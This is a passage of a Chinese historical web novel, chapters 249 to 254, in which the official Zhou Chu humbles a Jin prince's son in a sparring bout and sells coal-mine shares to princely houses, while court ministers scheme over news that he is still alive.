朱思莹听到这话,转身看到了周楚,眼睛顿时亮了。 第249章 周楚的安排,杀鸡儆猴 “衡器,好久不见了。” 朱思莹满脸崇拜地看着眼前的周楚。 原本朱思莹就很崇拜周楚,后来周楚在大同做的那些事,击退蒙古人,剿了马匪,甚至将大同城内手眼通天的那些商人全都收拾了。 要知道这些问题即便是代王府也很头疼,不知道该从何处入手。 周楚却仅用了不到一个月的时间就彻底解决了。 这让朱思莹直观地感受到了周楚的能力有多强,也让朱思莹对周楚愈发崇拜了。 “郡主,好久不见。” 周楚笑道。 “不知周大人叫我等前来,所为何事?” 其中一个世子来到周楚面前,略显恭敬道。 周楚听到这话,神色一正。 “叫诸位前来,是有一笔发财的生意和大家谈。” 周楚说完看了一眼众人的表情,这些人有些听到周楚这话很是意外的,有些则一副早已知晓的表情。 对于这些人的反应,周楚并不意外,皇帝给各地藩王下旨的时候,根据远近亲疏,有的说了一些详情,有的则没说。 晋王府就是什么都不知道的那个,朱奇源听到这话,一脸的不可置信。 “周大人莫不是拿我等消遣?真要是发财的生意,周大人又岂会分给我等?” 周楚听到这话,看向了朱奇源,发现自己并不认识眼前这人。 “这位是?” 周楚看着朱奇源,一脸疑惑道。 “在下晋王嫡子朱奇源。” 朱奇源一脸傲然地自我介绍道。 “知道的是嫡子,不知道的看你这派头还以为是世子呢。” 旁边的朱思莹阴阳怪气道。 “就是,我们这里来的,要么是郡主,要么是世子,你晋王府却只来了个嫡子,是不把陛下的圣旨放在眼里吗?” 另外一个世子跟着嘲讽道。 朱奇源听到这话,脸色憋得通红,却又无法反驳,毕竟来这里的基本都是世子,他一个嫡子确实和眼前这些人没法比。 当然,来的也不只是世子,还有很多随从,甚至有些知情的,把家里的管家都派来了。 世子郡主不过是代表,是为了表示对皇帝圣旨的重视,以及对周楚的重视,毕竟来什么人,都是有说法的。 就像晋王府,只派了一个嫡子,显然就没怎么把皇帝的圣旨放在眼里,更没有把周楚这个锦衣卫指挥使太放在眼里。 对于晋王府的这种做法,周楚早有预料。 “既然这位公子不信本官的话,可以自行离去,这里来去自由。” 周楚看着朱奇源说道。 朱奇源原本就被怼的说不出话了,此时听到周楚这么说,更是进退两难。 他本身就不太受自己的父王重视,如果此时顺着周楚的话说下去,把父王安排的事情办砸了,他回去还真不知道该如何交差。 主要是朱奇源也不清楚自己的父王对周楚是什么态度,这让他进退两难。 “公子既不信本官的话,又不离开,却是何意?” 周楚看着眼前犹豫不决的朱奇源,笑道。 “周大人见谅,是在下唐突了。” 面对周楚的质问,朱奇源只能捏着鼻子认怂,毕竟这里可是周楚的地盘,无论出于什么理由,他都不敢乱来。 周楚之前在大同做的那些事,他可是有所耳闻的,眼前的这位锦衣卫指挥使可是活阎王啊,朱奇源也就敢在背后说两句,要真让他和周楚对着干,他还真没那个胆量。 刚才的话,也只是逞能之下下意识说的,没过脑子,说完他就有些后悔了。 “本官若是不见谅呢?” 周楚脸色一肃道。 朱奇源听到这话,脸色变得很难看,他没想到自己都认怂了,周楚却还如此咄咄逼人。 “那周大人要如何?” 朱奇源硬着头皮道。 “这样吧,本官也不欺负你,我身后这些,都是本官的学生,你随意挑选一个,和他们比试,比文还是比武,由公子说了算,公子赢了,就可以留下,输了,哪里来的回哪里去。” 周楚看着眼前的朱奇源道。 周楚这么做,就是要拿朱奇源立威,杀鸡儆猴,否则眼前这些世子郡主都像他一般,后面的事就不好谈了。 周楚说完这话,大柱、胡宗宪、赵贞吉、归有光、海瑞甚至严世蕃纷纷站了出来。 他们很清楚,这个时候,千万不能给老师丢脸。 即便严世蕃心中对周楚多有不满,毕竟当初周楚强行把他从苏州府带到这里,不过后来他也想明白了,这段时间他爹进了大狱,如果不是周楚把他带到余姚来,他恐怕也少不了去大狱走一遭。 更何况这些天来,严世蕃慢慢明白了周楚的良苦用心,虽然嘴上仍然嘴硬,但心里其实对周楚很是感激。 而且他很清楚,只要周楚没事,自己的爹就不会有事,严世蕃很聪明,虽然年纪不大,很多事却是能看明白的。 所以此时严世蕃也毫不犹豫地站了出来。 朱奇源看了看几人,他自动忽略了胡宗宪海瑞和严世蕃三人,这几人一看就年龄很小,朱奇源要面子,和这几人打,就算赢了,他面子也丢光了。 朱奇源准备比武,比文他想都没想过,自幼他就极讨厌读书,对读书可谓是一窍不通,倒是武艺,在晋王的逼迫下,倒也算是练了个稀松平常。 朱奇源将目光在赵贞吉、归有光和大柱之间反复游移,赵贞吉身上穿的衣服一看就是富家子弟,富家子弟多数都会练一些武,朱奇源不清楚赵贞吉的深浅,首先将他排除了。 随后朱奇源看向了归有光,归有光虽然是书生,却也常年练武,再加上在家乡的时候,经常帮助乡亲们抗洪,一身腱子肉,身上穿的也不是一般百姓能穿的衣服。 最后朱奇源看向了大柱,大柱身上穿的衣服和赵贞吉两人比起来,差距太大了,就是底层百姓的衣服,这在朱奇源眼中和乞丐差不了多少。 虽然大柱的身体因为常年干活显得很健硕,但朱奇源并未将他放在眼里,朱奇源练过武,很清楚穷文富武的道理,穷人身体或许健硕,但绝没有练武的资源。 “就他吧。” 朱奇源指着大柱,一脸自信道。 第250章 大柱的实力,朱奇源傻了 “我吗?” 大柱一脸无措地看着眼前的朱奇源。 所有人之中,除了周楚和沈炼之外,大柱的武学根基是最扎实的,因为他从小就扎四平马,再加上这些天跟着周楚习武,周楚用各种大补的食材和药材帮他补足了身体的亏空。 但大柱也是所有人之中最没有自信的一个,因为出身,大柱自觉低人一等,即便是面对海瑞等人,大柱都有些不好意思。 对于大柱的这种心态,周楚倒也没有刻意纠正,这种心态以后会随着时间慢慢斧正的。 此时的大柱知道眼前的朱奇源是藩王的嫡子,内心发怵,觉得自己怎么可能是藩王嫡子的对手,人家肯定自由练武,无论资源还是什么,都不是自己能比的。 不过既然被挑选了,本着不能丢周楚脸的原则,大柱还是硬着头皮站了出来。 朱奇源看到大柱这副唯唯诺诺的模样,内心愈发肯定了自己的猜想,觉得眼前的泥腿子空有其表,肯定是一点武都不会,更加自信了。 众人纷纷给两人让出场地,朱奇源来到大柱面前,满脸自信。 “你先动手吧,省的说我欺负你。” 朱奇源看着大柱,满脸不屑道。 大柱听到这话,看了看眼前的朱奇源,又看向了身后的周楚。 “只管动手,别把他打死就行。” 周楚说道。 大柱听到这话,满脸的不自信,看着朱奇源,心想我都打不过,还打死? 不过事已至此,大柱也只能硬着头皮上了,直接拔出练武用的木刀,按照平日里练习的,一刀势大力沉的劈向朱奇源。 朱奇源看着大柱这平平无奇的一招,心想果然是泥腿子,举起手中的木刀就想架住大柱这一刀,却不想大柱这一刀力道太大,直接将朱奇源的木刀劈成两半。 朱奇源看到这一幕,顿时意识到事情不对,侧身闪避,却还是被木刀斩到了胳膊上。 虽然是木刀,却也把朱奇源的手臂打的直发麻,甚至连手中的刀柄都快握不住了。 大柱原本没什么信心,没想到眼前的朱奇源如此草包,这一刀下去,顿时信心就来了,直接变招,劈势用尽,改为上挑。 这是周楚教他的,无论是任何招式,都要用七分力,留三分,如此一来,一招不中,可以直接变招,倘若用十分力,招式用尽之后,根本没办法变招。 眼看着大柱手中的木刀直袭自己的咽喉,朱奇源大惊失色,急忙后撤,奈何大柱的进攻太过迅猛,即便朱奇源后撤,还是被大柱用木刀死死抵住咽喉部位。 “我输了!” 朱奇源面如死灰道。 他怎么都没想到,这个看起来最不起眼的泥腿子,武功居然如此厉害,即便是他们晋王府的教习,也不过如此了吧? “输了就走吧,别在这里丢人现眼了。” 朱思莹第一个出来落井下石,她一直都看朱奇源不顺眼,刚才朱奇源居然敢质疑周楚,朱思莹恨不得扇他一巴掌。 “就是,周大人不和你一般见识,你还好意思在这里待下去?” 旁边一个世子附和道。 “周大人。” 朱奇源面对几人的嘲讽,面红耳赤,却又不敢轻易离开,毕竟他这次来代表的是晋王府,他是纨绔子弟,但他爹以前比他还纨绔,现在成了晋王更是愈发的肆无忌惮。 朱奇源都不敢想自己这么回去的话,迎接自己的会是父王什么样的狂风暴雨。 整个晋王府,基本上都被如今的晋王打过,如今的晋王喜好书法,喜好奇石,甚至很推崇宋徽宗,正是因此,晋王被其他藩王所不喜,甚至被皇帝所不喜。 那些晋商纷纷投其所好,那些传世的书法作品和一些珍贵的奇石纷纷往晋王府送。 朱奇源真的怕,自己的父王喜怒无常的,自己要是这么回去,说不好会被他打死。 别看他是晋王府嫡子,晋王一旦发起火来,才不会管这些。 所以他只能求助地看向周楚。 “你应该先问清楚晋王的意见,再和本官谈,或许晋王本身就不愿意和本官合伙做生意呢?” 周楚看着朱奇源,说道。 朱奇源听到这话,眼睛顿时亮了。 “周大人的意思是,等我问清楚父王的意思,如果父王愿意的话,还可以合作?” “如果晋王愿意的话,本官自是没什么意见,不过你既然输了,就要有所表示。” 周楚看着朱奇源道。 朱奇源听到这话,脸色一阵红一阵白。 最终,他抽了自己的脸一巴掌。 “在下少不更事,还望周大人不要和我一般见识。” 周楚听到这话,摆了摆手。 “公子自便吧,我等还有事要谈。” 朱奇源听到这话,直接回到了自己的客房之中,写了封信让人快马加鞭送往太原晋王府。 周楚之所以这么说,是因为基本笃定了晋王不会和自己合伙,毕竟自己要做的是煤炭生意,山西最大的生意也是煤炭,晋王府的很大一部分资金来源都是山西的煤炭。 倘若晋王府和自己合作的话,无异于自掘坟墓,自绝于山西那些士绅以及商人面前。 他晋王府虽然是藩王,但如果把当地的士绅和商人都得罪了的话,恐怕会寸步难行。 这一点,即便晋王再荒唐也是能看清楚的,周楚看的更清楚,所以对于朱奇源的态度也就无所谓了。 一旦晋王被排除在这个利益共同体之外,到时候就不用自己对付晋王了,其他藩王的弹劾就够他喝一壶的,皇帝又是嘉靖,对周楚的任何决议都是鼎力支持的。 真要到了和晋王府闹翻的时候,都不用周楚做什么,自然会有人帮自己收拾晋王府。 对于这一点,周楚还是有底气的。 因为周楚叫这些藩王来,可不只是做煤炭生意的,煤炭生意只是初步的合作。 真正的大生意,在海外。 “诸位,随本官到正厅吧,为了防止拥挤,诸位每人可以带一位随从去正厅。” 周楚看着眼前的一众世子,以及他们的随从道。 众人听到这话,纷纷来了精神,意识到周楚要谈正事了。 即便每个人都只带着一个人,但所有人来到董府正厅之后仍然很拥挤。 现在的时期,大明的藩王数量达到了一个高峰期,光藩王就有四十多个。 当然,除了这些藩王之外,还有一个不是藩王的藩王,周楚也让嘉靖给他们去了圣旨,那便是沐王府。 沐王府世代镇守云南丽江,早已根深蒂固,想要动沐王府无论对大明还是皇室而言,都很不划算,有沐王府镇守云南,云南就一直都是大明的,大明可以用最低的代价统治云南。 倘若动了沐王府,无论对大明亦或是对云南,要改变的东西就太多了,到时候大明想要对云南维持稳定的统治,要付出的代价可就比现在要高多了。 因此对于沐王府这个不是藩王却胜似藩王的存在,大明和皇室采取了默认的态度。 此次合作,自然不能落下沐王府。 沐王府来的也是一位郡主,叫沐云萍。 “叫诸位前来,是本官的意思,本官在徐州府和济宁府发现了很多煤矿,这些煤矿至少够我大明开采上百年,煤矿意味着什么,不必本官多说了吧?” 周楚说完这话,喝了口茶。 一众世子郡主听到这话,眼睛顿时亮了。 第251章 谢迁入京,周楚还活着,毛纪惊了 京城之中,七十多岁的谢迁经过舟车劳顿,终于抵达了京城。 谢迁这一路折腾,身子骨很是难受去,却也只能忍着,现在的江南一系势弱,他作为江南一系的中流砥柱之一,即便是七十多了,该站出来的时候,还是得站出来。 人到了一定的地位,拥有一定的资源之后,想做什么事,想说什么话,就由不得自己了。 谢迁抵达京城的时候,已经入夜了,京城的谢府,谢迁的次子谢丕在朝为官,如今是在翰林院任编修一职,主修武宗实录。 虽然如今的谢丕只是个翰林院的编修,但所有人都清楚,等他从翰林院出来,前途不可限量,直接会进入六部任职。 未来的成就最低也是一部尚书,甚至很可能入阁。 谢迁致仕之后,谢丕一直按照谢迁的嘱咐,秉承着低调内敛的性子,作为一个翰林院编修,也实在是没什么钱可以贪的,也不需要贪,谢迁为他留下的银钱就足够他花销了。 至于官场的人脉和关系,谢迁在任的时候,门生故吏遍布京城,虽说被周楚查办了不少,但仍旧有一些在任职。 而且谢迁作为曾经江南一系的代表人物,和杨廷和这些人并肩作战,为谢丕留下的政治资源够他享用一生了。 谢迁这个年纪一路折腾来到京城,并不是为了权利,全是为了自己的这个儿子铺路。 “爹这么大年纪了,毛大人他们为何还要让爹如此舟车劳顿,这朝中之事,自由他人去办。” 谢迁从马车上扶着自己的老爹下车后,有些不满道。 “这你就不懂了吧,那周楚并没有死。” 谢迁满脸老成持重道。 谢丕听到这话,顿时大惊。 “爹是如何知道这个消息的?是了,那周楚在余姚附近消失。” 谢丕突然反应过来,余姚不正是自己的老家吗?这点消息自己的老爹如果还掌握不了的话,那真是笑话了。 “怪不得毛大人举荐爹官复原职,原本我以为会是夏大人入阁,或者其他人入阁更合适一些,现在看来,他们是要让爹你顶在前面。” 谢丕不满道。 谢迁听到这话,苍老的面容看向了自己的儿子,对于自己的儿子心疼自己,很是满意,不枉自己舟车劳顿,为他的未来铺路。 “很多事不能只看表面,周楚既然现身了,陛下却没有将这件事对外宣布,想来就是要钓鱼,你爹我不会是这条鱼,你爹我还能折腾什么?能不能钓上来,还要看陛下的本事。” 谢迁眼皮子一抬道。 “夏公谨正是明白这个道理,才不敢贸然入阁,此人心思缜密,将来你若入六部,他对你会尽力栽培,不只是他,毛纪毛维之也会是你的一大助力,你爹我之所以再次入阁,可不都是为了你吗?” 谢迁拍了拍自己儿子搀扶自己的手,笑道。 谢丕听到这话,心中无比感动。 “孩儿不孝,都此番年纪了,还让父亲为孩儿奔波劳累。” 谢丕忍不住擦了擦眼泪道。 “何故做如此女儿态,我谢家将来,全指望你了,你大哥是指望不住的,为了谢家门楣,这些也是我该做的。” 谢迁故作严肃道。 谢丕听到这话,愈发感动,急忙将自己的爹一路搀扶进原本属于谢迁的别院之中。 这处别院谢丕一直都让人打理着,原本谢丕想着的是自己的老父亲什么时候想自己了,想来京城居住了,随时能住到自己以前熟悉的环境之中。 谢迁看到了别院之中的事物,甚至包括一株花,一棵树,都和自己离开的时候没什么两样,很是欣慰。 “你有心了。” 谢迁很清楚,这定是常年有人打理,若是临时安排,不会如此。 谢迁来到自己的厢房门口。 “父亲早点歇息吧,孩儿告退。” 谢丕行礼道。 谢迁听到这话,点了点头,在旁边婢女的搀扶下,走进厢房之中。 此时厢房内,谢迁的床上,已然躺着两个暖脚丫鬟,这是谢丕为自己的老父亲准备的,谢迁一路舟车劳顿,再加上如今春寒料峭的,谢丕贴心的为自己的老父亲安排了这两个暖脚丫鬟。 谢迁看到这两个暖脚丫鬟并不意外,以前在京城为官的时候,只要天气稍冷一些,他的穿上都是少不了暖脚丫鬟的。 不只是他,这京城之中但凡三品以上的官员,很多家中都少不了暖脚丫鬟,甚至很多四品五品的官员,也都会偷偷给自己买暖脚丫鬟。 这是享受,也是身份的象征,那些四品五品的官员不敢明面上用,只能偷偷用。 谢迁在丫鬟的伺候下宽衣解带,剩下一身内衬,便躺在了床上,床另一头,两个暖脚丫鬟一人抱住谢迁的一只脚,放在自己的腹部,为其暖脚。 暖脚丫鬟的选用很有讲究,一般要选取阳气足,寒气弱的女子,同时会给她们吃一些补充阳气的药材,如此一来,她们的身体就不会像一般的女子那般阴寒,反而会像个小火炉一般,如此才能作为暖脚婢。 否则选了两个体寒的,到底是你给主子暖脚,还是主子给你暖脚? 谢迁的这一路舟车劳顿,此时被这两个小暖炉暖着,缓解了许多。 第二日一早,谢迁抵达京城的消息就传了出去,谢迁则来到内阁述职,见到了杨一清等人。 “谢大人,多年不见,身子骨还是这么硬朗。” 杨一清笑道。 “托首辅大人的福,我这把老骨头怕是也折腾不了几年了。” 谢迁略带不满道。 “谢大人倒是怪不着本官,是毛大人举荐的您。” 杨一清哈哈一笑道。 论年纪,谢迁比杨一清大几岁,论为官资历,谢迁也高强于杨一清,如果说谁还有资格在杨一清面前倚老卖老的话,那非谢迁莫属了。 “谢大人能者多劳,如今正是多事之秋,大明需要谢大人。” 毛纪恭维道。 今日他和杨一清当值,杨慎和费宏休沐。 “确实是多事之秋,老夫可是知道,那锦衣卫指挥使周楚周大人还活着,而且还活的好好的。” 谢迁捋了捋自己的胡子道。 “什么!” 毛纪听到这话,顿时一惊。 倒是杨一清听到这话,松了口气,心想自己幸亏没有头脑发热。 第252章 杨一清的猜测,蠢蠢欲动的毛纪 “不过周大人显得很奇怪。” 谢迁看到毛纪的反应,很是满意,无论是谁,无论处于何种地位,能给相同地位的人带来一些震撼,内心都是有满足感的。 而且周楚还活着的信息,杨一清不知道,毛纪不知道,说明京城之中恐怕除了皇帝身边少数几个人知道外,没人知道。 自己却可以提前知道这个消息,一想到这里,谢迁就如饮甘泉,浑身舒爽。 “哦?哪里奇怪?” 毛纪一听这话顿时来了精神。 如果说几人之中谁最关心周楚的现状,无疑是毛纪,之前周楚崛起的时候,毛纪无比的低调,身为内阁阁员,却希望所有人都不要注意到他的存在。 正是因为毛纪的低调,他安稳度过了之前波谲云诡的一年,前些天得到周楚被刺杀的消息,毛纪的心思顿时活络了起来。 原本他想着的和杨一清差不多,趁机将夏言抬入阁,但周楚这个变数,让毛纪和夏言都很忌惮,所以两人商议之后,决定先让谢迁再次入阁,试试水。 谢迁已经这个年纪了,再怎么折腾也折腾不动了,如今再入内阁,无非是替夏言试一试如今朝廷的水有多深,倘若周楚真的被刺杀了,或者皇帝并非真的想钓鱼,那么谢迁要做的也就结束了。 到了那个时候,才是夏言真正入阁的时候,也是江南一系大展宏图的时候。 “周大人出现在了绍兴城外的一个山村之中,应该是被村民救下了,但他第一时间并没有回到余姚,也没有去其他地方,而是直接在那个山村住了下来。” 谢迁一边给自己的茶杯添满茶水,一边说道。 “周大人难道就不怕再次被刺杀?” 毛纪不解道。 杨一清听到这话,也来了兴致,看着谢迁,似乎在等他的下文。 谢迁看着两人满脸的求知欲,内心得到了很大的满足,不疾不徐地喝了一口茶,到了他这个年纪,一举一动都很慢,毛纪心里着急,知道谢迁在拿乔,却也不好催促。 “那山村之外,据说驻扎着一支军队,人数不多,一两千人,但都是全甲兵。” 谢迁喝完茶之后,意味深长地看着毛纪说道。 毛纪听到这话,倒吸了一口凉气,顿时明白了周楚哪里来的底气。 “难道是周大人去年用来平定倭寇的那支军队?” 毛纪有些不太确定道。 对于虎贲军的存在,无论是杨一清或者毛纪,都有所察觉,毕竟周楚用虎贲军四处平定倭寇,这可不是江南省的那些驻军能做到的,要说一点都没有引起他人注意,倒也不现实。 实际上不只是虎贲军,玄武军这支海上的军队也被越来越多的人注意到了,甚至很多江南士族都联想到了之前被不断抢劫的走私船,明白这件事很可能就是玄武军做的。 但他们一没有证据,二来走私本就违法,也只能打落门牙和血吞,咬着牙认了。 “应该不是,那支军队现在在大同,之前周衡器在大同能如此轻易捋清那里的事物,那支军队起到了至关重要的作用。” 杨一清听到这话,不着痕迹道。 毛纪听到这话,脸皱在了一起,想了半天,也想不明白这两支军队是从哪里冒出来的。 “毛大人是否在想,这两支军队是从哪里冒出来的?” 杨一清似乎能看清毛纪在想什么,略带调侃道。 “是啊,按理说这两支全甲军队,战力肯定非同一般,怎么会突然出现呢?” 毛纪苦恼道。 “你忘了周衡器的身份了?锦衣卫指挥使,锦衣卫多少人?周衡器以锦衣卫的体制招募几千精兵加以训练,合情合理。” 杨一清倒是看的清楚,出言提醒道。 毛纪听到这话,非但没有解清疑惑,反而愈发苦恼了。 “要说一般的军队下官也是了解的,但这两支军队未免太过厉害了些,之前周大人那些剿倭的战绩,还有战损比,首辅大人应该是知道的,纵观以往,没有任何军队能做到这一步,他们甚至剿倭都费劲。” 毛纪这话不是没有道理的,任何一支军队的出现都是有迹可循的,特别是像这两支强的有些超出他们认知的军队,就这么突然出现了。 似乎毫无踪迹可循,每次毛纪一想到这里,就感觉脊背发寒,内心对周楚的忌惮到了无以复加的程度。 这样一个人,文武全才,倘若再会练兵的话,整个大明谁还能制衡的了他? 所以才有了后来的对周楚的捧杀计划,当时对周楚的捧杀,正是毛纪以及夏言撺搓杨一清一起执行的。 可惜后来被嘉靖利用陈万言顺势破解了。 “那就应该是海上的那一支了,如今大明海上水师兵强马壮,这支军队倒是可以抽身离开。” 毛纪想了想,说道。 杨一清听到这话,点了点头,没有言语。 “你们说,周大人为何会待在一个山村,有什么深意吗?” 毛纪看着杨一清,想从这个老狐狸口中套出一些话来。 毛纪和杨一清毕竟不是同一个立场,两人从不会真心替对方考虑,毛纪这么问杨一清,是因为他知道杨一清在两边下注,杨一清将自己的孙子送到余姚求学的事,自然是瞒不过毛纪的。 杨一清可以这么做,因为杨一清和周楚,和皇帝并没有什么不可调和的矛盾,毕竟杨一清自从入阁以来,没做过什么对周楚和皇帝而言特别不好的事。 杨一清和周楚的对立,只是身份上的对立,完全不像毛纪夏言等人,他们和江南一系彻底绑死了,江南一系和周楚之间的矛盾,不是你死就是我活,早已经短兵相见了。 所以无论是毛纪还是夏言,从不会像杨一清这般,将自己的后人送到余姚求学。 一旦他们那么做了,他们在江南一系都会受到猜忌,那才真的是两边都不讨好。 “或许周衡器是怕了,他才多大啊,和陛下同岁吧?以前做事太顺了,没遭过什么挫折,如今差点丢了命,恐怕深受打击,不敢随意乱动了。” 杨一清挑了挑眉道。 他这话真假参半,或者说是他自己的胡乱猜测,不过对于毛纪,他自然不必那么严谨,自然是想什么便说什么。 毛纪听到这话,点了点头,倒是有些认同。 “倒是极有可能,周大人年少气盛,没遇到过什么挫折,所以以前做事才那般不知深浅,如今得了些教训倒也好。” 毛纪这话说的声音很小,只有三人能听到,就是怕这话传到外人耳中。 毕竟这话说的多少有些大逆不道。 谢迁听到这话,眉毛一挑,他能感受到毛纪内心的不安分,甚至蠢蠢欲动。 第253章 沐王府,云瑾现身 绍兴,董府之中。 “周大人,我出十万两,能否拿到半成份额?” 一个世子率先站出来道。 周楚听到这话,摇了摇头。 “那要多少,您说个数。” 那世子看到周楚摇头,顿时有些急了。 煤矿生意有多大利润,他们比谁都清楚,他们这些藩王看不上晋王还有一个原因,晋王府位于太原,坐拥山西的煤矿资源,即便什么都不做,也不缺钱花。 他们就不一样了,大多数藩王还都要领朝廷的份额才能勉强支撑,但如今藩王太多,藩王的子嗣又多,朝廷的份额不断地削减,很多宗室子弟甚至都不愿意在地方上了,一旦到了年纪,就主动去凤阳祖坟守孝。 但这些藩王并不想节流,能开源的话,谁愿意节衣缩食的过日子? “在座的各位,一共有近五十位,倘若给你半成份额的话,其他人的份额就不够了,这样,每人最多百二的份额,五万两白银。” 周楚说道。 听到这话,眼前这些人顿时恍然,想想也是,要是有人能拿到半成份额,那么其他人也都想着多拿,算下来怎么都是不够的。 倒是百二的份额,对大家而言都可以接受。 “我沐王府要百二的份额。” 沐云萍听到这话,首先站出来道。 沐云萍身为沐王府的郡主,沐王府又在云南丽江,离中原地区极远。所以沐云萍对周楚过往的事并不是很了解,但她代表的是沐王府,她很清楚一个能开采百年的煤矿代表着什么。 代表着一旦拿下这些份额,对未来的沐王府而言,将是一个源源不断的钱袋子。 不只是沐云萍,眼前的这些世子郡主没有几个是草包的,能被各地藩王派来的,都是精明之辈,有些世子比较糊涂的,那些藩王就会让郡主过来。 其他人听到沐云萍这话,纷纷拿出随身带着皇家钱庄的银票,和沐云萍一样,要拿下百二的份额。 最终,徐州府那边的煤矿份额被周楚卖出了两百多万两。 “既然大家都拿到了份额,那么接下来煤矿的挖掘事宜就得好好商议一下了,本官准备成立一个煤矿商号,诸位都是这个商号的东家,挖煤的事本官找人来办,诸位只管分钱就行了。” 周楚看着众人道。 “诸位如果不放心,可以随时派人来查账,不过每年最多只能查一次,不然都要查的话,就什么事都不用做了。” 周楚准备把丑话说在前头,省的日后因为这些事起纷争。 “周大人说的哪里的话?这件事有大人在,有陛下牵线,我等又岂会不放心。” 沐云萍笑道。 这次来的勋贵基本都是藩王,除了沐王府这个不算藩王的藩王。 煤矿生意毕竟有限,周楚不准备给那么多人分,等将来做海上生意的时候,周楚准备再将其他勋贵都叫过来,一起发财。 “既然如此,暂时先这么说定了,后续本官会让人和诸位敲定一些细节,这绍兴城倒也不错,诸位若是有兴致,可以游历一番。” 周楚说完这话,就转身带人离开了。 朱思莹好不容易见到周楚一面,但从见面到现在,说的都是公事,这让她有些失望。 “我看你们好像对这位周大人很是尊崇,他做了什么事吗?” 沐云萍就坐在朱思莹身旁,看到朱思莹这副表情,有些好奇道。 “那当然了,一句话两句话说不清楚,你只要记住,周大人是我大明开国以来,无人可及的能臣,将来也会是名垂青史的名臣。” 朱思莹一副与有荣焉的表情道。 沐云萍听到这话,愈发疑惑了。 “这你就不知道了吧,周大人文韬武略,样样顶尖,去年周大人凭一己之力,荡平大明的倭患,这还只是周大人做的诸多大事之中,最不值一提的一个。” 另外一个郡主,也是满脸崇拜地看着周楚离去的背影,说道。 沐云萍听到这话,顿时一脸震撼,如果说之前她没概念的话,现在听到这句话,顿时明白了眼前的这位周大人有多厉害。 倭患自从大明开国以来就一直存在,大明海禁也正是因为倭患。 倭患持续了多少年了,都没人能彻底平定,这其中的猫腻,沐云萍也是知道一些的,因为涉及到的利益太多,有人需要倭寇存在,所以倭患就一直不能被平定。 沐云萍想不明白,周楚是如何做到的,倭寇背后的利益集团难道就会眼睁睁的看着这位锦衣卫指挥使平定倭患? 她想不明白,正想继续追问,却看到周楚对面迎面走来一个身穿盔甲的女人,还是一个她认识的女人。 玄武军的统领,陆婉儿,陆云瑾。 去年的时候,丽江有土司叛乱,沐王府镇压很是费劲,就向朝廷求助,其实偶尔向朝廷求助,对沐王府和朝廷而言是好事,如果沐王府和朝廷之间毫无沟通,整个云南和丽江在沐王府的统治下很安稳的话,那朝廷该坐不住了。 沐王府能延续至今,政治智慧自然是顶尖的,每隔几年就会向朝廷求助一次,朝廷派不派兵,给不给钱都无所谓,关键是沐王府的态度要给足,那就是沐王府需要朝廷,沐王府说白了不过是朝廷的延伸。 去年的那场叛乱,也确实让沐王府手忙脚乱,沐王府如果要平定的话,也是要拼尽全力,那样的话,无论对人力还是财力都是极大的损失,于是沐王府干脆向朝廷求助,如此一来,一举两得,既能和新上位的皇帝沟通感情,又能节省开支。 当时的云瑾还在安南附近,离云南很近,嘉靖收到沐王府的求助之后,干脆给云瑾去了封密旨,让云瑾带着玄武军去丽江走一趟。 也就是那一次,云瑾以及她率领的玄武军给沐云萍带来了极大的震撼。 当时沐王府得知朝廷居然派来一个女将军的时候,都有些不屑,不过基于对朝廷的尊重,还是派出了沐云萍这位郡主接待云瑾,并且给云瑾带路平叛。 所以沐云萍是亲眼目睹了玄武军以及云瑾的战斗力的。 原本沐王府需要拼尽全力才能平定的土司叛乱,在玄武军面前就像是纸糊的一般,玄武军虎入羊群,根本无一合之敌。 自那之后,沐云萍看云瑾的眼神就变了,她觉得云瑾就像是一个女战神一般,整个大明别说女人了,就是那些男人,又有几个能比得过的? 沐云萍对云瑾很是崇拜,甚至自那以后经常给云瑾写信,两人自然而然的成为了朋友。 不过云瑾无论是在沐云萍面前,还是在玄武军面前,都是一副生人勿近的模样,毕竟领兵打仗,要的是威严。 但此时云瑾在周楚面前的模样,仿佛一个邻家的小女孩在跟自己的哥哥撒娇,那娇憨的模样,让沐云萍忍不住擦了擦眼睛。 她甚至怀疑自己出现幻觉了。 第254章 沐云萍惊了,周指挥使的威名 “陆统领。” 沐云萍还是没忍住和云瑾打了招呼。 云瑾听到这个称呼,有些恍然,因为自从军以来,还没多少人这么称呼过她,玄武军的将士一般都是直接称呼统领。 这么称呼自己的,云瑾记得不错的话,除了前黎朝的大王,现如今的安南王黎椿外,就只有沐王府的那几位了。 云瑾看向沐云萍,有些意外,没想到沐王府派来的居然是这位郡主。 “郡主,许久不见。” 云瑾见到熟人,顿时收起了小女儿态,再次恢复了玄武军统领的威仪。 云瑾前后态度的转变看的很多人目瞪口呆,沐云萍心中很不是滋味,她把云瑾当成了偶像,云瑾原本对她这种态度她觉着没什么,心里想着可能是陆将军性格如此。 要不是方才看到云瑾在周楚面前的那副姿态,沐云萍根本不知道云瑾还有这副姿态。 她不明白,眼前的锦衣卫指挥使周楚,到底有什么魔力,让代王府的郡主,甚至不少郡主都是一副痴迷的神情,现在陆将军,她敬仰的陆将军在周楚面前也是一副小女儿态。 沐云萍想不明白,不过该有的礼仪还是要有的。 “是啊陆将军,去年一别,已有大半年,陆将军比风采更胜当时。” 沐云萍发自内心道。 “周大人,听闻你们住在城外的一个山村,我自小到大还没住过山村,不知道还有没有能住的地方?我也想去体验一下。” 朱思莹看着周楚,又看了看云瑾,心中突然升起一股紧迫感。 虽说朱思莹原本也没有奢望自己能和周楚在一起,但眼看着另外一个女人突然出现在周楚身边,还和周楚态度如此亲昵,让朱思莹心里很是难受。 她终究还是没忍住,下意识地说出了这句话。 她很清楚,说出这句话可能会略微有失身份,不过此时的朱思莹已然上了头,顾不得那么多了。 倘若没看到云瑾,她不会如此,甚至不会奢望什么,能和周楚再见面,她已经很开心了。 方才沐云萍的称呼让她意识到了云瑾的身份,姓陆,基本可以断定,这位就是每一本关于周楚的话本之中必将出现的陆家的小姐。 朱思莹看过很多个关于周楚的话本版本,其中有不少就是专门写周楚和云瑾的爱情故事的。 原本朱思莹是很喜欢看他俩的爱情故事的,但当云瑾出现在这里,朱思莹才意识到,自己或许根本接受不了,或许自己的内心之中,对这位锦衣卫指挥使周大人有着不该有的奢望。 “是啊周大人,这董府也没什么特别的,我等自小还没去山村住过,倒是新奇,主要是想和周大人亲近亲近。” 楚王世子朱显榕也跟着站了出来,一方面是为朱思莹缓解尴尬,另外一方面,也确实想和周楚的关系走的近一些。 朱显榕是个聪明人,他看得出来,眼前的这位锦衣卫指挥使周大人如今可谓是权势滔天,甚至在来之前,朱显榕特意让人将有关周楚的信息调查了一遍。 